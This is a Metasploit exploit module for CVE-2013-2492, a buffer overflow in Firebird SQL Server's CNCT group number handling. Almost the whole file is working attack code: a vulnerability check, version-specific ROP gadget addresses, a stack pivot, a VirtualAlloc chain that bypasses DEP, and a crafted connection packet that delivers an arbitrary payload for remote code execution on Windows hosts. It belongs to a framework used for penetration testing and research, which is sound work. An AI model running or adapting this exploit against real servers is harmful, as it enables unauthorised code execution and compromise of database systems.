## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize super( 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP. }, 'Author' => 'Spencer McIntyre', 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2013-2492' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Payload' => { # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" }, 'Targets' => [ # pivots are pointers to stack pivots [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jan 31 2013' ) register_options([Opt::RPORT(3050)], self.class) end def check begin connect rescue return Exploit::CheckCode::Safe end filename = "C:\\#{rand_text_alpha(12)}.fdb" username = rand_text_alpha(7) check_data = "" check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" check_data << "\x00\x00\x00\x13" check_data << filename check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24" check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c" check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" check_data << "\x00\x00\x00\x08" sock.put(check_data) data = sock.recv(16) disconnect opcode = data.unpack("N*")[0] version = data.unpack("N*")[1] if opcode == 3 # Accept if [ 0xffff800b, 0xffff800c ].include?(version) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def stack_pivot_rop_chain case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059ffeb, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059650b, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe] 0x4a86ee77, # POP ECX # RETN [icuuc30.dll] 0x000001c0, # 0x000001c0-> ebp 0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe] 0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll] ].pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..5).pack("V*") end return rop_chain end def final_rop_chain # all rop chains in here created with mona.py, thanks corelan! case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x4a831344, # POP ECX # RETN [icuuc30.dll] 0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x00431905, # POP EBP # RETN [fbserver.exe] 0x00401932, # & push esp # ret [fbserver.exe] 0x4a844ac0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x005dae9e, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x0057a822, # POP EDI # RETN [fbserver.exe] 0x005b0384, # RETN (ROP NOP) [fbserver.exe] 0x0046f8c3, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x00586002, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x00656472, # POP ECX # RETN [fbserver.exe] 0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe] 0x0041d1ae, # POP EBP # RETN [fbserver.exe] 0x0040917f, # & call esp [fbserver.exe] 0x4a8589c0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a864cc3, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x0064ef59, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x005979fa, # POP EDI # RETN [fbserver.exe] 0x00424a50, # RETN (ROP NOP) [fbserver.exe] 0x4a86052d, # POP EAX # RETN [icuuc30.dll] 0x90909090, # nop 0x005835f2, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x005763d5, # POP EAX # RETN [fbserver.exe] 0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe] 0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x004e695a, # POP EBP # RETN [fbserver.exe] 0x004d9e6d, # & jmp esp [fbserver.exe] 0x4a828650, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x00590328, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x4a8573a1, # POP EDI # RETN [icuuc30.dll] 0x0042ba8c, # RETN (ROP NOP) [fbserver.exe] 0x00577605, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x004530ce, # PUSHAD # RETN [fbserver.exe] ].flatten.pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..17).pack("V*") end return rop_chain end def exploit connect rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*") # this data gets written to the stack via memcpy, no more than 32 bytes can be written overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] overwrite_and_rop_chain << stack_pivot_rop_chain filename = "C:\\#{rand_text_alpha(13)}.fdb" evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" evil_data << "\x00\x00\x00\x14" evil_data << filename evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24" evil_data << "\x05\x20" evil_data << overwrite_and_rop_chain evil_data << "\x15\x6c\x6f\x63\x61\x6c" evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41" evil_data << rop_nop_sled evil_data << final_rop_chain evil_data << payload.encoded print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}") sock.put(evil_data) disconnect end end